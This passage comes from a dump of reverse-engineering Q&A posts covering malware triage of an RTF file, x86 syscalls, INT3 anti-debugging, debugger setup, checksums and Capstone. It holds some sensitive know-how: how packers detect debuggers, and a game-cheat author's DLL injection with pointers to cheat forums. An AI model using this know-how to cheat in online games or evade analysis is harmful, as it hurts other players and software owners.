        "Body": "<p>I am currently trying to analyse a particular document that was flagged as malware in our honey pot.</p>\n\n<p>In virus total is shows up as being a Trojan and I have reason to believe it might be connected to </p>\n\n<p><a href=\"https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms14_017_rtf.rb\" rel=\"nofollow\">https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms14_017_rtf.rb</a></p>\n\n<p>I am searching Google and seeing very little information on how I can go about diagnosing  and reversing this. I want to see where it might be trying to connect back and what this is actually doing.</p>\n\n<p>How can I go about reverse engineering  malware embedded in a Windows rtf and see what this is designed to do ?</p>\n\n<p>I can provide the malware if anyone wants.</p>\n",
        "Title": "Reverse engineer malware embedded in Microsoft rtf",
        "Tags": "|malware|",
        "Answer": "<p>Analysis often isn't worth it, unless your interest is academic don't spend too much time in analysing it. AV companies tend to use sandboxes and just monitor behaviour, that might be enough for you. Run the malware along with wireshark to see where it connects out to and block the C&amp;C server IP address (as well as the domain the email was from and delete the message from all inboxes).</p>\n\n<p>K, since that didn't answer your question, there seems to be a lot of research on the topic. A quick google for \"extract rtf payload\" gives a number of articles as well as some scripts to do it. Throw this in olly or ida and let the tracing begin.</p>\n\n<p>O, and I hope your patching level was up to date :)</p>\n"
    },
    {
        "Id": "9525",
        "CreationDate": "2015-08-01T12:17:20.077",
        "Body": "<p>I'm currently learning assembly, but I cannot seem to understand how storing values into registers and manipulating them results in a working program. </p>\n\n<p>I was wondering if you guys could provide a very easy to understand explanation on why certain things are being done within the assembly code.</p>\n\n<p>Take for example the Hello World program in assembly code:</p>\n\n<pre><code>section     .text\nglobal      _start                              ;must be declared for linker (ld)\n\n_start:                                         ;tell linker entry point\n</code></pre>\n\n<ol>\n<li><p>Why does the message length need to be put into the EDX register? And why is the EDX register chosen rather than a DX register or EAX register?</p>\n\n<pre><code>mov     edx,len                             ;message length\nmov     ecx,msg                             ;message to write\n</code></pre></li>\n<li><p>I also do not understand why we are moving 1 into the EBX register? And for that matter moving 4 into the EAX register?</p>\n\n<pre><code>mov     ebx,1                               ;file descriptor (stdout)\nmov     eax,4                               ;system call number (sys_write)\nint     0x80                                ;call kernel\n</code></pre>\n\n<p>Why are we moving 1 into EAX? What is so significant about EAX compared to the other registers? And what happened to the 4 stored in EAX previously?</p>\n\n<pre><code>mov     eax,1                               ;system call number (sys_exit)\nint     0x80                                ;call kernel\n\nsection     .data\nmsg     db  'Hello, world!',0xa                 ;string\nlen     equ $ - msg                             ;length of string\n</code></pre></li>\n<li><p>How does data in the individual register interact with each other? How do they know that data is stored within them? </p></li>\n</ol>\n\n<p>TL DR: How is it all merged to present Helloworld onto the screen? </p>\n",
        "Title": "How does storing values in registers result in a functioning program?",
        "Tags": "|assembly|x86|linux|",
        "Answer": "<p><code>int 80</code> is used to perform system calls</p>\n\n<p>Each  system call has an index  </p>\n\n<p>The index is always passed in <strong>eax</strong> register </p>\n\n<p>The function calls may need arguments </p>\n\n<p>The <strong>first five arguments</strong> are passed via <strong>ebx,ecx,edx,esi,edi</strong> registers</p>\n\n<p>If there are more than five arguments a special method is employed using an array pointer </p>\n\n<p>prototype of sys_write is as follows</p>\n\n<p>ssize_t sys_write(unsigned int fd, const char * buf, size_t count) </p>\n\n<p>index of sys_write  = 4   </p>\n\n<p>so    </p>\n\n<pre><code>eax = index == 4,    \nebx = fd    == 1,stdout    \necx = char* == msg   \nedx = count == len   \n</code></pre>\n\n<p>same goes to sys_exit</p>\n\n<p>take a look at the links below for a concise syscall index ,arguments ,prototypes , and source details</p>\n\n<p><a href=\"http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html#note117\" rel=\"nofollow\">http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html#note117</a>\n<a href=\"http://asm.sourceforge.net/syscall.html#4\" rel=\"nofollow\">http://asm.sourceforge.net/syscall.html#4</a></p>\n"
    },
    {
        "Id": "9530",
        "CreationDate": "2015-08-01T16:48:38.323",
        "Body": "<p>I am trying to catch anti debugging routines, and I don't quite understand what INT3 does, and I have read that it can be used to detect debuggers and mask calls.  The program eventually sends me into a nonsensical loop if I am stepping, and if I am running, it will notify me that a debugger has been found.  </p>\n\n<pre><code>77BE0000   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]\n77BE0004   CC               INT3\n77BE0005   C2 0400          RETN 4\n77BE0008 &gt; CC               INT3\n77BE0009   90               NOP\n77BE000A   C3               RETN\n77BE000B   90               NOP\n77BE000C &gt; CC               INT3\n77BE000D   C3               RETN\n</code></pre>\n\n<p>I think INT3 might be something going on here.  Since my intel instruction set reference (<a href=\"http://faydoc.tripod.com/cpu/index_i.htm\" rel=\"nofollow\">http://faydoc.tripod.com/cpu/index_i.htm</a>) says this has something to do with a debugger interrupt.  I also read something about how these can be used to mask debugger detection from reverse engineers.</p>\n\n<p>Am I barking up the wrong tree or is there something in this line of code questionable?</p>\n",
        "Title": "Detection of OllyDbg - INT3?",
        "Tags": "|disassembly|anti-debugging|",
        "Answer": "<p>This technique uses the fact that when the interrupt instructions INT3 (breakpoint) and INT1 \n(single-step) are stepped thru inside a debugger, by default, the exception handler will not be \ninvoked since debuggers typically handle the exceptions generated by these interrupts. Thus, \na packer can set flags inside the exception handler, and if these flags are not set after the INT \ninstruction, it means that the process is being debugged. Additionally, kernel32!DebugBreak() \ninternally invokes an INT3 and some packers use the said API instead. </p>\n\n<p><a href=\"https://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf\" rel=\"nofollow\">Reference</a></p>\n"
    },
    {
        "Id": "9533",
        "CreationDate": "2015-08-02T15:48:44.190",
        "Body": "<p>Is it any way to connect VirtualKD 2.8 to VBox > 4.3.</p>\n\n<p>I googled it but the nearest result was <a href=\"http://www.virtualbox.org/svn/vbox/trunk/src/VBox/Devices/Misc/VirtualKD.cpp\" rel=\"nofollow\">VBOX_WITH_VIRTUALKD</a> config flag and some change logs about <a href=\"https://www.virtualbox.org/wiki/Changelog-4.3#4.3.16\" rel=\"nofollow\">stub/loader</a>.</p>\n\n<hr>\n\n<p>OK, because of lack of information in my question, I try to explain my problem...</p>\n\n<p>I start installing the VirtualKD from <a href=\"http://virtualkd.sysprogs.org/tutorials/install/\" rel=\"nofollow\">Ref I</a> using VKD 2.8. exactly in step 2 it said</p>\n\n<blockquote>\n  <p>Unable to cast COM object of type 'VirtualBox.VirtualBoxClass' ...</p>\n</blockquote>\n\n<p>So I start googleing and i found a great article <a href=\"http://www.virtualroadside.com/blog/index.php/2013/03/11/virtualkd-2-8-with-virtualbox-4-2/\" rel=\"nofollow\">Ref II</a>. I compiled the C# code and ran it in the VirtualKD-2.8 directory. the first problem is gone but the virtual box said:</p>\n\n<blockquote>\n  <p>Unable to load R3 \"C:\\VirtualKD-2.8\\VBoxKD64.dll\": Not signed ... (VERR_LDRVI_NOT_SIGNED)</p>\n</blockquote>\n\n<p>Again I start googleing... the problem is for <code>VBox &gt; 3.1</code>, it force signed dll loading in windows. so I signed the DLL by a self generated sign ( and of curse I added it to my trust list ). now the virtualbox braks with</p>\n\n<blockquote>\n  <p>Unable to load R3 module \"C:\\VirtualKD-2.8\\VBoxKD64.dll\" None of 1 path(s) hav a trust anchor.: ... (VERR_CR_X509_CPV_NO_TRUSTED_PATHS).</p>\n</blockquote>\n\n<p>so I used a globally trusted sign to do the job but I got a FATAL error from vbox...</p>\n",
        "Title": "VirtualKD + VBox > 4.3",
        "Tags": "|debugging|kernel-mode|",
        "Answer": "<p>As I think, someone else might have this problem, I have to answer my own question...</p>\n\n<p>First. please read the question carefully ( it is long but worst it ).\nThen...</p>\n\n<p>As Virtual Box only accepts signed DLLs so you have to sign the \n<em>VBoxKD64.dll</em> and/or <em>VBoxKD.dll</em>. it is not easy to find a trust sign so avast guys make a pre-signed virtual-kd available for download <a href=\"http://public.avast.com/~hnanicek/VirtualKd.zip\" rel=\"nofollow\">here</a></p>\n\n<p>Now we have another problem. Virtual Box will not load DLLs that are not owned by <em>NT SERVICE\\TrustedInstaller</em> so we have to add Virtual-KD directory to it's kingdom. ( read <a href=\"https://technet.microsoft.com/en-us/magazine/ff404240.aspx\" rel=\"nofollow\">this</a> if you have no ida about what I say )</p>\n\n<p>Also it is a good description in the avast package named <em>Install.txt</em>.</p>\n"
    },
    {
        "Id": "9535",
        "CreationDate": "2015-08-02T19:50:50.823",
        "Body": "<p>I want to look at directx calls with ollydbg, and log and decode all parameters. Somebody knows how to do that?</p>\n",
        "Title": "Logging COM calls with OllyDBG",
        "Tags": "|com|",
        "Answer": "<p>Unless you absolutely need to use OllyDbg for this, you really should use something like <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">http://www.rohitab.com/apimonitor</a> which has DirectX call logging and decoding built-in:</p>\n\n<p><a href=\"https://i.stack.imgur.com/YczHZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YczHZ.png\" alt=\"Screenshot1\"></a>\n<a href=\"https://i.stack.imgur.com/13FvO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/13FvO.png\" alt=\"Screenshot2\"></a></p>\n\n<p>And if you seriously do need to use OllyDbg for this, you should explain why.</p>\n"
    },
    {
        "Id": "9538",
        "CreationDate": "2015-08-03T16:34:30.267",
        "Body": "<p>I have a little endian 32-bit ARM binary, compiled for a CPU that's running embedded Linux. I want to figure out what a specific byte in the binary means. An example hex view of the first few bytes of my binary is:</p>\n\n<pre><code> 03 00 00 00 82 2C 00 00  50 01 00 00 C0 01 00 00\n 1A 00 00 00 2B 00 00 00  80 00 00 00 00 00 00 00\n 24 26 00 00 08 00 00 00  04 10 00 00 30 29 00 00\n FC FF 07 00 00 00 00 00  F7 27 13 00 FF 03 00 00\n 01 00 00 00 74 2C 00 00  00 00 00 00 00 00 00 00\n</code></pre>\n\n<p>I am interested in finding the purpose of the byte with value <code>0x13</code> in line 4. The particular number seems to increase as the size of the binary increases, but I can't seem to find the exact correlation between file size and this number. I have tried the usual suspects (number of blocks, file size in e.g. KB etc.) but nothing gives an exact match with the number I observe in that byte offset.</p>\n\n<p>Disassembling the binary in IDA renders the following assembly code for that portion:</p>\n\n<pre><code>ROM:00000000                 AREA ROM, CODE, READWRITE, ALIGN=0\nROM:00000000                 CODE32\nROM:00000000                 DCD 3, 0x2C82, 0x150, 0x1C0, 0x1A, 0x2B, 0x80, 0\nROM:00000020                 DCD off_2624\nROM:00000024                 DCD 8, 0x1004, 0x2930, 0x7FFFC, 0\nROM:00000038                 DCD 0x1327F7, 0x3FF, 1, 0x2C74, 0, 0\n</code></pre>\n\n<p>where the number of interest appears in the last line as <code>DCD 0x1327F7</code>. That number doesn't appear anywhere else in the code, neither that address is referenced anywhere in the rest of the code. The neighboring bytes (here <code>0x27F7</code>) change in a seemingly \"random\" way (it is likely possible that I just haven't figured out their purpose <em>yet</em>). Regardless I am only interested in the <code>0x13</code> field. </p>\n\n<p>Is there a convention for the contents of the first bytes of an ARM binary? Any ideas as to the purpose of that byte or if there actually exists a correlation to the file's size?</p>\n\n<p><strong>P.S.</strong> For differential analysis purposes I'm adding another file's initial bytes. Here the number I am interested in is <code>0x03</code> in line 4. The offset of interest is always the same. The first file was 11928 bytes whereas this one is 2850 bytes.</p>\n\n<pre><code>0300 0000 9608 0000 5001 0000 0701 0000\n0a00 0000 1300 0000 8000 0000 0000 0000\n6404 0000 0800 0000 0410 0000 9006 0000\nfcff 0700 0000 0000 087d 0300 ff03 0000\n0100 0000 8808 0000 0000 0000 0000 0000\n</code></pre>\n",
        "Title": "Specific byte purpose in header of little endian ARM binary",
        "Tags": "|ida|binary-analysis|arm|",
        "Answer": "<p>As per the comments above, you would need to reverse engineer your ladder logic program to determine how it's parsing and updating this binary file.</p>\n"
    },
    {
        "Id": "9544",
        "CreationDate": "2015-08-03T19:58:31.177",
        "Body": "<p>I'm busy trying to decrypt some game data.  All the encrypted filenames are hexadecimal strings with the same length e.g. <code>1790C6E445C7E38EFCD5B3042F9B4443</code>.</p>\n\n<p>I've figured out that a few of the files are unencrypted OGG files, and I've used the <code>strings</code> command to find a list of the <code>.ogg</code> strings contained within the game binary.</p>\n\n<p>Now I'm wondering, is there any way to find out how the file name was created, given the original? </p>\n\n<p>And would it be possible to recreate the directory structure somehow (right now it's all flat, but according to the strings I've found, there should be directories).</p>\n",
        "Title": "Getting Encryption Method When I Know Encrypted File Name & Original File Name",
        "Tags": "|decompilation|decryption|hex|xor|",
        "Answer": "<p>This looks like it could be some hash over the original filename, and because they have 32 characters in length, it's likely to be a md5 hash. Or, it might be one of the sha* variants, cut after 32 characters.</p>\n\n<p>If you have access to a linux system, you could try something like </p>\n\n<pre><code>$ echo -n 'introduction.ogg' | md5sum\ndc8f2a080281b924622580a8d662874c\n</code></pre>\n\n<p>and if that doesn't match, try <code>sha1sum</code>, <code>sha224sum</code>, <code>sha256sum</code>, <code>sha384sum</code>, <code>sha512sum</code> instead. These all result in longer results, so your filename might be at the start, the end, or somewhere in the middle of the result.</p>\n\n<p>Or, just paste your file name into this <a href=\"https://defuse.ca/checksums.htm\" rel=\"nofollow\">online tool</a> which has those and many more algorithms.</p>\n\n<p>The bad news is, you won't be able to guess the original filename from the hash. All these hashes are (intended to be) one-way functions - it's easy to get the hash from the original data, but there's no way back. This is why hashes like these are used for password storage - you can verify a password by encrypting it, but you can't get at the password from the hash.</p>\n"
    },
    {
        "Id": "9551",
        "CreationDate": "2015-08-04T09:16:16.803",
        "Body": "<p>I'm trying to crack winrar's password using some methods as explained below.</p>\n\n<p>Because rar uses AES-128 encryption, brute-force and dictionary attacks are useless as they would take years.\nBut, if we convert a password-protected rar file into an SFX archive </p>\n\n<p>I used w32dasm, olly dbg &amp; pe explorer to modify these exe files.\nAll I could find are the strings like \"Extracting, CRC failed, Encrypted\" and some other things. I used several sfx archives as test files (with different passwords) and tried it through disassembly. Those hexadecimal keys are looking quite similar!</p>\n\n<p>So do I need a better disassembler or debugger?Am i on the right way or anyother way to decompile it.</p>\n\n<p>My main aim was to extract the password protected file and ensure the file is safe,I already refered this <a href=\"https://superuser.com/questions/145167/is-zips-encryption-really-bad\">question</a> stating that it is possible only by brute forcing the winrar file.</p>\n\n<p>Some of my win32dasm snapshots were as below :</p>\n\n<p><a href=\"https://i.stack.imgur.com/sfJNk.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sfJNk.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Is it possible to decompile the password protected rar file?",
        "Tags": "|decompilation|executable|",
        "Answer": "<blockquote>\n  <p>Is it possible to decompile the password protected rar file?</p>\n</blockquote>\n\n<p>Decompilation is for code. RAR files are data. So <strong>no</strong>, there's nothing in a RAR file to decompile.</p>\n\n<blockquote>\n  <p>But, if we convert a password-protected rar file into an SFX archive</p>\n</blockquote>\n\n<p>Then you could decompile the SFX stub, but it still wouldn't allow you to decrypt the RAR data without the password.</p>\n"
    },
    {
        "Id": "9558",
        "CreationDate": "2015-08-05T11:26:08.170",
        "Body": "<p>I'm following these <a href=\"https://bugs.php.net/bugs-generating-backtrace.php\" rel=\"noreferrer\">steps</a> to locate the current PHP function call as below:</p>\n\n<ol>\n<li><p>Run dummy script:</p>\n\n<pre><code>$ gdb -ex run --args php -r \"sleep(10);\"\n</code></pre></li>\n<li><p>Pressed <kbd>Ctrl+C</kbd> to get back to <code>gdb</code> to run:</p>\n\n<pre><code>(gdb) bt full\n#1  0x00007ffff6007dd4 in __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:137\n        ts = {tv_sec = 8, tv_nsec = 306649388}\n        set = {__val = {65536, 0 &lt;repeats 15 times&gt;}}\n        oset = {__val = {0, 4469319, 4294967295, 8081486, 140737319884960, 140737354070488, 15761488, 15454080, 15337134, \n            140737354001040, 0, 7307048, 16048064, 206158430232, 140737488342304, 140737488342096}}\n        result = &lt;optimized out&gt;\n#2  0x00000000006156ef in zif_sleep ()\nNo symbol table info available.\n#3  0x00000000006ddd7b in dtrace_execute_internal ()\nNo symbol table info available.\n#4  0x000000000079dde5 in ?? ()\nNo symbol table info available.\n#5  0x0000000000717b18 in execute_ex ()\nNo symbol table info available.\n#6  0x00000000006ddc79 in dtrace_execute_ex ()\nNo symbol table info available.\n#7  0x00000000006e1b0a in zend_eval_stringl ()\nNo symbol table info available.\n#8  0x00000000006e1bf9 in zend_eval_stringl_ex ()\n...\n(gdb) frame 2\n#2  0x00000000006156ef in zif_sleep ()\n(gdb) print (char *)(executor_globals.function_state_ptr-&gt;function)-&gt;common.function_name\nAttempt to extract a component of a value that is not a structure.      \n(gdb) print (char *)(executor_globals.function_state_ptr-&gt;function)\nAttempt to extract a component of a value that is not a structure.\n(gdb) print (char *)(executor_globals)\n$2 = 0xffffffffffffcf48 &lt;error: Cannot access memory at address 0xffffffffffffcf48&gt;\n</code></pre>\n\n<p>So it seems <code>executor_globals</code> symbol is not available. Is it because the binary has been optimized, I'm in the wrong frame or something else? Or I should use <code>lldb</code> instead?</p></li>\n</ol>\n",
        "Title": "How to get current PHP function name in gdb?",
        "Tags": "|debugging|gdb|php|",
        "Answer": "<p>According to <a href=\"https://derickrethans.nl/what-is-php-doing.html\" rel=\"noreferrer\">this link</a>, it should be possible to find the function in use with the following steps:</p>\n\n<ol>\n<li>Attach gdb to the currently-running PHP process: <code>gdb -p &lt;processid&gt;</code></li>\n<li>Load in the PHP <code>.gdbinit</code> file for your version of PHP (available from <a href=\"https://github.com/php/php-src/blob/master/.gdbinit\" rel=\"noreferrer\">here</a>)</li>\n<li>Use the <code>zbacktrace</code> command to display the currently-running PHP script</li>\n</ol>\n\n<p>For example:</p>\n\n<pre><code>gdb -p 4584\n(gdb) source PHP_5_5/.gdbinit\n(gdb) zbacktrace\n[0xec906090] addOne() /tmp/yourscript.php:9\n</code></pre>\n"
    },
    {
        "Id": "9565",
        "CreationDate": "2015-08-06T13:20:27.090",
        "Body": "<p>I used to make maphacks for a game called Warcraft 3. I want to get back into reverse-engineering but with today's technologies (i.e. with the internet being fast enough to download data instead of it being pre-loaded) is it a lost art?</p>\n\n<p>Reverse-engineering applications and software does not interest me at all, can anyone recommend other games I might enjoy reversing? I always wanted to take a stab at reverse engineering games using the Quake engine but never got into it, could anyone recommend any tutorials?</p>\n\n<p>Also, my method usually involved writing a pure ASM DLL for injection (which just made it easier to create code caves, etc.). Would this work for other games, or are there different methods you have to go about injecting a modification?</p>\n",
        "Title": "Want to get back into reverse engineering havn't for a few years whats a good starting point for getting back into it?",
        "Tags": "|windows|assembly|ollydbg|x86|",
        "Answer": "<p>Have you visited the forums of these two sites?</p>\n\n<p><a href=\"http://www.unknowncheats.me\" rel=\"nofollow\">http://www.unknowncheats.me</a></p>\n\n<p><a href=\"http://www.mpgh.net\" rel=\"nofollow\">http://www.mpgh.net</a></p>\n\n<p>Both have dedicated reverse engineering and programming sub-forums specific to games.</p>\n"
    },
    {
        "Id": "9567",
        "CreationDate": "2015-08-06T16:38:59.223",
        "Body": "<p>How can I identify the entry point of an executable in LLDB?</p>\n\n<p>In GDB, we can use the <code>info file</code> command, but that won't work in LLDB.  </p>\n\n<p>Can anyone show me how to do that?</p>\n",
        "Title": "How to find the entry point in LLDB on OS X?",
        "Tags": "|osx|lldb|entry-point|",
        "Answer": "<p>You can make use of the command</p>\n\n<pre><code>(lldb) process launch --stop-at-entry\n</code></pre>\n\n<p>to start the program. This stops you right at the entry point. From there lldb will tell you the address as well, in case this is what you are interested in.</p>\n\n<p>If instead you were interested in the actual main function, and not the entry point, you should have a look at the related question <a href=\"https://reverseengineering.stackexchange.com/questions/6719/lldb-break-at-start-of-actual-code-not-entrypoint\">lldb: break at start of actual code, not entrypoint</a></p>\n"
    },
    {
        "Id": "9568",
        "CreationDate": "2015-08-06T16:44:57.420",
        "Body": "<p>I am testing a program using conditional log, I would like to display the log in bytes of length 12. So I found this <a href=\"http://www.ollydbg.de/Help/i_Expressions.htm\" rel=\"nofollow\">website</a> about the syntax of expression. </p>\n\n<p>So I filled something like  [BYTE*12 400000]  in the expression field but it turns out showing syntax error in the log view. So, how to enable the EMOD_MULTI evaluation mode?\nThank you.</p>\n",
        "Title": "What is EMOD_MULTI evaluation mode in OllyDBG?",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>are you using ollydbg 2.01 (multiple expression logging is not supported in version 1.10) \nif you want to log multiple expression in ollydbg 1.10 you should look for modified command line plugin</p>\n\n<p>with that out of way the i dont get any syntax errors if used as documented </p>\n\n<pre><code>Log data\nAddress   Message\n7C901295  INT3: [BYTE*8 1000000] = 4D, 5A, 90, 0, 3, 0, 0, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [char*8 1000000] = 4D (77.), 5A (90.), FFFFFF90 (-112.), 0, 3, 0, 0, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [dword*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [word*8 1000000] = 5A4D, 90, 3, 0, 4, 0, 0FFFF, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [int*8 1000000] = 905A4D (9460301.), 3, 4, 0FFFF (65535.), 0B8 (184.), 0, 40 (64.), 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [unsigned long*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [DOUBLE*8 1000000] = 6.3706613826192345360e-314, 1.3906499416091109740e-309, 9.0908078834789364120e-322, 3.1620201333839778820e-322, 0.0, 0.0, 0.0, 5.0927898983166535560e-312\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n</code></pre>\n"
    },
    {
        "Id": "9578",
        "CreationDate": "2015-08-07T22:22:56.787",
        "Body": "<p>I've been analyzing some SPI EEPROM memory, and tried to find out which Checksum algorithm has been used;</p>\n\n<p>For example I've got data: 14567D9h and checksum 187h. Assuming it's normal 16 bit check sum I've got 86h - no match, but after adding 101h it magically changes to 391h</p>\n\n<p>Another Example: 8ADh and check sum B5h with this one is normal - 16 bit checksum results with exact number: B5h (perfect match)</p>\n\n<p>I've checked it with 28 samples i was able to intercept. For some values i have to add 101h to checksum and for some it is only needed to sum it up.</p>\n\n<p>Parity check doesn't fit - if you want I can share some more data - all gathered in one excel file, and calculated. After few days of brainstorm with my friend we haven't come up with anything :/</p>\n\n<p>Maybe there is some additional part in the Algorithm, which i haven't found out yet? CRC and tonnes of other algorithms were checked - only 16 bit checksum was giving any promising results Thanks for help in advance!</p>\n\n<p>copy of my spreadsheet: <a href=\"https://drive.google.com/file/d/0B2FO0-Y1n-ySMUZ2VTVkME9tdm8/view?usp=sharing\" rel=\"nofollow\">Spreadsheet</a></p>\n\n<p>some data I've grabbed (more in spreadsheet):</p>\n\n<pre><code>F401 84290145h\nB500 08AD0000h\nD400 5D310145h\n4000 79810145h\nB500 08AD0000h\nC100 0AB70000h\nC100 0AB70000h\n3401 F08500BEh\nE901 FE2C00BEh\nA400 01E400BFh\n2A01 0D5D00BFh\n7E00 208304D7h\nC100 0AB70000h\n</code></pre>\n\n<p>You can read it this way:\nchecksum: 01F4  (lways 2 bytes)\nvalue: 01458429 (always 4 bytes) </p>\n\n<p>as you can see you have to switch positions of the bytes to read data properly</p>\n",
        "Title": "Determining checksum algorithm from known values",
        "Tags": "|memory|",
        "Answer": "<p>I came across this via manual inspection.</p>\n\n<p>Instead of treating the data like this:</p>\n\n<pre><code>struct record {\n  uint16_t csum;  // 01f4\n  uint32_t data; // 84290145h\n};\n</code></pre>\n\n<p>treat it like this:</p>\n\n<pre><code>struct record {\n  uint8_t csum;    // 0xf4\n  uint8_t data[5]; // { 0x01, 0x84, 0x29, 0x01, 0x45 }\n};\n</code></pre>\n\n<p>To calculate the checksum, just do a simple modulo-256 summation of the data bytes. This works out fine for the values you've included in your question.</p>\n"
    },
    {
        "Id": "9579",
        "CreationDate": "2015-08-08T07:55:34.457",
        "Body": "<p>After installing the Capstone python module, I ran this <a href=\"http://www.capstone-engine.org/op_access.html\" rel=\"nofollow\">example</a> on a Win7x86 PC with a <em>minor edit</em> (added arch and mode).</p>\n\n<p>However, when attempting to use <code>insn.regs_access()</code>, it throws a <code>NoneType</code> object which is not iterable:</p>\n\n<pre><code>enter preformatted text here\n\n  1 from capstone import *\n  2\n  3 CODE = b\"\\x8d\\x4c\\x32\\x08\\x01\\xd8\"\n  4\n  5 md = Cs(CS_ARCH_X86, CS_MODE_32)\n  6 md.detail = True\n  7\n  8 for insn in md.disasm(code, 0x1000):\n  9     print(\"%s\\t%s\" % (insn.mnemonic, insn.op_str))\n 10\n 11     (regs_read, regs_write) = insn.regs_access()\n 12\n 13     if len(regs_read) &gt; 0:\n 14         print(\"\\n\\tRegisters read:\", end=\"\")\n 15         for r in regs_read:\n 16             print(\" %s\" %(insn.reg_name(r)))\n 17         \n 18\n 19     if len(regs_write) &gt; 0:\n 20         print(\"\\n\\tRegisters modified:\")\n 21         for r in regs_write:\n 22             print(\" %s\" %(insn.reg_name(r)))\n</code></pre>\n\n<p>However, I get the following:</p>\n\n<pre><code>X:\\blah&gt;python capTest.py\nlea    ecx, dword ptr [edx + esi + 8]\nTraceback (most recent call last):\n  File \"capTest.py\", line 11, in &lt;module&gt;\n   (regs_read, regs_write) = insn.regs_access()\nTypeError: 'NoneType' object is not iterable\n</code></pre>\n\n<p>How can this be resolved?</p>\n",
        "Title": "Capstone Disassembly Engine Issue: OP_Access throws TypeError",
        "Tags": "|disassembly|windows|dynamic-analysis|python|disassemblers|",
        "Answer": "<p>Emailed Quynh, a member of the Capstone team. He was more than helpful!</p>\n\n<p>Compiled from next branch in msvc...msvc2012 is a prereq. works now!</p>\n\n<p>if you try to build with cygwin you'll receive an error in cs_open (exported by cs.c)</p>\n"
    },
    {
        "Id": "9580",
        "CreationDate": "2015-08-08T08:09:07.400",
        "Body": "<p>REing a binary and while its running (using Windbg by the way) my (call)stack gets mangled. So I start to perform a stack trace [<a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff552143(v=vs.85).aspx]\" rel=\"nofollow\">https://msdn.microsoft.com/en-us/library/windows/hardware/ff552143(v=vs.85).aspx]</a>.</p>\n\n<p>However, when I'm verifying various symbols/functions in the target, various instructions are paged out so I cant tell if the previous instruction was a ret or a call above it, e.g.</p>\n\n<pre><code>kd&gt; u fe682ae4-2 l1      //  paged out (all zeroes) unknown\nrdr!_RdrSectionInfo+0x2a:\nfe682ae2 0000             add     [eax],al\n</code></pre>\n\n<p>I know how to reload symbols via !vad extension [<a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff552153(v=vs.85).aspx]\" rel=\"nofollow\">https://msdn.microsoft.com/en-us/library/windows/hardware/ff552153(v=vs.85).aspx]</a>. However, that requires me to use (live)kd.</p>\n\n<p>Is there an easier way to ensure the target application doesn't get paged out, short of disabling the pagefile?</p>\n\n<p>I've searched Google, OSRonline, Woodmann, etc. and haven't found anything helpful.</p>\n",
        "Title": "Tracing Callstack Despite Paged out Instructions",
        "Tags": "|windows|callstack|",
        "Answer": "<ol>\n<li>The prompt shown is <code>kd&gt;</code> so you are debugging a live kernel.</li>\n<li>If memory could not be accessed windbg will show ? Not <code>0000</code><br>\nmaybe you actually have 0000 in the address.</li>\n</ol>\n\n<p>Did you try doing <code>.pagein</code> ?</p>\n\n<p>Did you try viewing the physical address <code>!vtop 0 &lt;virtualaddress&gt;</code> ?</p>\n\n<p>Here is sample of unaccessible memory:</p>\n\n<pre><code>.fnent notepad!\nSaveFile (01004eae) notepad!SaveFile | (01005179) notepad!LoadFile   \nOffStart: 00004eae    \nProcSize: 0x2c6 kd&gt;     \n? 4eae+140+notepad = 01004fee     \nkd&gt; db notepad!SaveFile+0x140 l20    \n01004fee a0 90 00 01 ff 35 54 90-00 01 ff 75 08 e8 70 cf .....5T....u..p.    \n01004ffe ff ff ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ..?????????????? \n</code></pre>\n\n<p>Notice the question marks <code>????</code> because the next page at boundary <code>1005000</code> is inaccessible. </p>\n\n<pre><code>kd&gt; .pagein /p 8114bc38 1005000 \nYou need to continue execution (press 'g' &lt;enter&gt;) for the pagein to be brought in.      \nWhen the debugger breaks in again, the page will be present.\nkd&gt; g\nBreak instruction exception - code 80000003 (first chance)\nnt!RtlpBreakWithStatusInstruction:\n804e35a2 cc              int     3\nkd&gt; db 1004ff0 \n01004ff0  00 01 ff 35 54 90 00 01-ff 75 08 e8 70 cf ff ff  ...5T....u..p...\n01005000  83 f8 02 0f 84 a9 00 00-00 33 ff 53 ff 75 10 57  .........3.S.u.W\n01005010  ff 75 f8 ff 35 80 a4 00-01 e8 7b fb ff ff eb 78  .u..5.....{....x\n</code></pre>\n"
    },
    {
        "Id": "9582",
        "CreationDate": "2015-08-08T12:22:39.297",
